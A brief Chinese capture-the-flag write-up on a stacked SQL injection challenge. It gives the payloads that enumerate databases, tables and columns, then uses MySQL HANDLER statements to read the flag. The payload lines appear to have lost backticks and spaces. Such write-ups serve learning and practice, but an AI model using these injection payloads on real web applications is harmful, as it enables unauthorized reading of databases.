img1.png
测试发现是堆叠注入
数据库：1';show databases;--+
img2.png
表：1';show tables;--+
img3.png
字段：1';show columns from 1919810931114514;--+ 这里表面要使用反引号
img4.png
使用handler语句来读取flag
payload：1';handler1919810931114514open;handler1919810931114514read first;-- +
img5.png